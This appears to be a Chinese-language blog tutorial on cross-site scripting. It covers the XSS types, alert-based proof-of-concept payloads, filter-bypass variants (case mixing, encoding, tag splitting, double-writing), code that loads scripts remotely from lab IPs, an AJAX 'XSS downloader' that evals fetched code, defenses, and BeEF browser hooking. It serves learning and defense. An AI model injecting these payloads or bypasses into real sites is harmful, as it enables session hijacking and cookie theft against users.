漏洞概述

XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS.XSS攻击主要基于javascript完成恶意的攻击行为.JS可以非常灵活的操作html,css和浏览器,这使得XSS攻击的空间特别大.XSS通过将精心构造的JS代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果.当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来.用户浏览器就会解析这段XSS代码,也就是说用户被攻击了.用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意.也就是说,XSS的对象是用户和浏览器.

  • XSS漏洞发生在哪里?

微博,留言板,聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS攻击

  • XSS利用JS代码实现攻击,有很多种攻击方法
  1. 盗取各种用户账号
  2. 窃取用户Cookie资料,冒充用户身份进入网站
  3. 劫持用户会话,执行任意操作
  4. 刷流量,执行弹窗广告
  5. 传播蠕虫病毒

XSS漏洞的验证

我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)

  • POC : 漏洞的验证与检测
  • EXP : 漏洞的完整利用工具.
  • shellcode : 利用漏洞时,所执行的代码
  • payload : 攻击载荷
  • sqlmap : 攻击代码的模板
  • msfconsole : shellcode类似,功能是建立与目标的连接

验证XSS漏洞存在的PoC如下

  • 我们发现,提交的代码<script>alert(/xss/)</script>,被当作字符串输出在HTML页面中,浏览器会根据<script>标签识别为JS语句,并会执行它,执行弹窗操作.也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性
#在页面中尝试写入以下代码
<script>alert(/xss/)</script>
<script>confirm('xss')</script>   
<script>prompt('xss')</script>

XSS的分类

XSS漏洞大概可以分为三个类型:反射型XSS,存储型XSS,DOM型XSS

反射型XSS

反射型XSS是非持久性,参数型的跨站脚本.反射型XSS的JS代码在Web应用的参数中,如搜索框的反射型XSS.在搜索框中,提交<script>alert(/xss/)</script>,点击搜索,即可触发反射型XSS

QQ截图20201219094516.png

存储型XSS

存储型XSS是持久性跨站脚本.持久性体现在XSS代码不是在某个参数中,而是写进数据库或文件等可以永久保存数据的介质中.存储型XSS通常发生在留言板等地方.我们在留言板位置留言,将恶意代码写进数据库中.此时,我们只完成了第一步,将恶意代码写入数据库.因为XSS使用的JS代码,JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码,才能真正触发XSS.

DOM型XSS

DOM型XSS比较特殊.owasp关于DOM型XSS的定义是基于DOM型XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的.其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM型XSS比较难以检测.如下面的例子

#注入链接
#message=<script>alert(/xss/)</script>

#注入页面
<!DOCTYPE html>
<html>
<head>
    <title>DOM-XSS</title>
    <meta charset="utf-8">
</head>
<body>
<script>
    var a = document.URL;
    a = unescape(a);
    document.write(a.substring(a.indexOf("message=")+8,a.length));
</script>
</body>
</html>

XSS的构造

利用标签构造HTML/JS

可以利用<,>构造HTML标签和<script>标签

  • 提交<script>alert(/xss/)</script>

伪协议

可以使用javascript:伪协议的方式构造XSS

  • 提交参数<a href="javascript:alert(/xss/)">touch me!</a>,然后点击超链接,即可触发XSS
  • <img src="javascript:alert('xss')">也可以使用img标签的伪协议,但是这种方法在IE6下测试成功

产生事件

事件驱动是一种比较经典的编程思想.在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应.所以我们可以通过事件触发JS函数,触发XSS

  • <img src='./smile.jpg' onmouseover='alert(/xss/)'>这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码
  • 单行文本框的键盘点击事件
  • <input type="text" onkeydown="alert(/xss/)">
  • <input type="text" onkeyup="alert(/xss/)">
  • <input type="button" onclick="alert(/xss/)">
  • <img src='#' onerror='alert(/xss/)'>

利用CSS跨站

我们也可以利用CSS(层叠样式脚本)触发XSS.但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS.以下代码均在IE6下测试

  • 行内样式 <div style="background-image:url(javascript:alert(/xss/))">
  • 页内样式 <style>Body{background-image:url(javascript:alert(/xss/))}</style>
  • 外部样式 <link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
// xss.css 文件内容如下
h1 {
    color:red;
}
div {
    /*width:expression(alert(/xss/))*/
    background-image:url(javascript:alert(/xss/))
}
  • expression <div style="width:expression(alert(/xss/))">,<style>Body{background-image:expression(alert(/xss/));}</style>
  • import <style>@import 'javascript:alert("xss")';</style>,<style type="text/css">@import url(xss.css);</style><div>1997sty</div>

其他标签以及手法

我们也可以用其他标签触发XSS

  • <svg onload="alert(/xss/)">
  • <input onfocus=alert(/xss/) autofocus>

XSS的变形

我们可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测

大小写转换

  • 可以将payload进行大小写转化
<Img sRc='#' Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)">click me</a>

引号的使用

  • HTML语言中对引号的使用不敏感,但是某些过滤函数非常严格
<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />

/代替空格

  • 可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)'/>

回车

  • 我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测
<A hREf="j
a   v
a   s
c   R
i   p
t   :
alert(/xss/)">click me!</a>

对标签属性值进行转码

  • 可以对标签属性值进行转码,用来绕过过滤
  • 因为浏览器页面展示的缘故,实际使用时去掉#后的空格
字母 ASCII码 十进制编码 十六进制编码
a 97 &# 97; &# x61;
e 101 &# 101; &# x65;
\t 9 &# 9; &# x9;
\n 10 &# 10; &# xa;
\r 13 &# 13; &# xd;
SOH 1 &# 1; &# x1;
STX 2 &# 2; &# x2;
<A hREf="j&# 97;v&# x61;script:alert(/xss/)">click me!</a>

拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>

双写绕过

  • 如果后端代码对标签进行整体替换,那么套用2个标签以后,第一组标签被替换后,就会再拼凑成一组完整的标签
<script>
<scr<script>ipt>

CSS中的变形

// 使用全角字符
width:expression(alert(/xss/))

// 注释会被浏览器忽略
width:expr/*~*/ession(alert(/x~s~s/))

// 样式表中的 \r 和 \0
<style>@import 'javasc\ri\0pt:alert("xss")';</style>

Shellcode的调用

Shellcode就是在利用漏洞所执行的代码.完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode

远程调用JS

可以将JS代码单独放在一个JS文件中,然后通过http协议远程加载该脚本.这是比较常用的方式

<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>
  • XSS.JS的内容如下
alert('xss.js');

windows.location.hash

我们也可以使用JS中的windows.location.hash方法获取浏览器URL地址栏的XSS代码.windows.location.hash会获取URL中#后面的内容,例如http://domain.com/index.php#1997sty,windows.location.hash的值就#1997sty.所以我们可以构造如下代码?name=<script>eval(location.hash.substr(1))</script>#alert(/This%20is%20windows.location.hash/),直接提交到测试页面

QQ截图20201219103759.png

XSSDownloader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码.在使用XSSDownloader之前需要一个我们自己的页面

  • xss_downloader.php内容如下
<?php
// AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');

echo '~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~~';
  • 下载器如下
<script>
function XSS(){  
    if (window.XMLHttpRequest) {
       a = new XMLHttpRequest();
    } else if (window.ActiveXObject) {
       a = new ActiveXObject("Microsoft.XMLHTTP");
    } else {return;} 
    a.open('get','http://10.0.0.254/xss_downloader.php',false);   
    a.send(); 
    b=a.responseText;
    eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}     
XSS();
</script>

备选存储技术

我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie,Flash共享对象,UserData,localStorage等.

XSS通关挑战

XSS通关挑战是一个练习XSS绕过和展示各种XSS场景的靶机环境.用我们之间讲过的内容,可以过大部分关卡.这里推荐另一个XSS挑战http://xss-quiz.int21h.jp

XSS的防御

XSSFilter

XSSFilter的作用是过滤用户提交的有害信息,从而达到防范XSS攻击的效果

  • 输入过滤:"永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤
  • 输入验证:简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据
  1. 输入是否仅包含合法的字符
  2. 输入字符串是否超过最大长度限制
  3. 输入如果为数字,数字是否在指定的范围
  4. 输入是否符合特殊的格式要求,如E-mail地址,IP地址等
  • 数据消毒:过滤和净化掉有害的输入
  • 输出编码:HTML编码主要是用对应的HTML实体代替字符
  • 黑白名单:不管是采用输入过滤还是输出编码,都是针对数据信息进行黑白名单式的过滤

beef

BeeF是前欧美最流行的web框架攻击平台,kali集成Beef,而且Beef有很多好使的payload

  • 工具目录 /usr/share/beef-xss
  • 配置文件 config.yaml

QQ截图20201219111226.png

  • 启动beef
默认用户名和密码均为beef
beef-xss
/usr/share/beef-xss/beef

QQ截图20201219111400.png

访问测试页面后的效果

  • 带有shellcode,并且一直在向服务端发送数据

QQ截图20201219131533.png

QQ截图20201219132021.png

QQ截图20201219132041.png

在用户打开该页面的情况下,可以在Commands标签下执行一些命令

  • 在内部,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作,并用颜色表示
  • 绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
  • 橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转 等)
  • 灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行
  • 红色:命令模块不适用于此目标

QQ截图20201219132449.png

XSS平台

QQ截图20201219133907.png

QQ截图20201219134146.png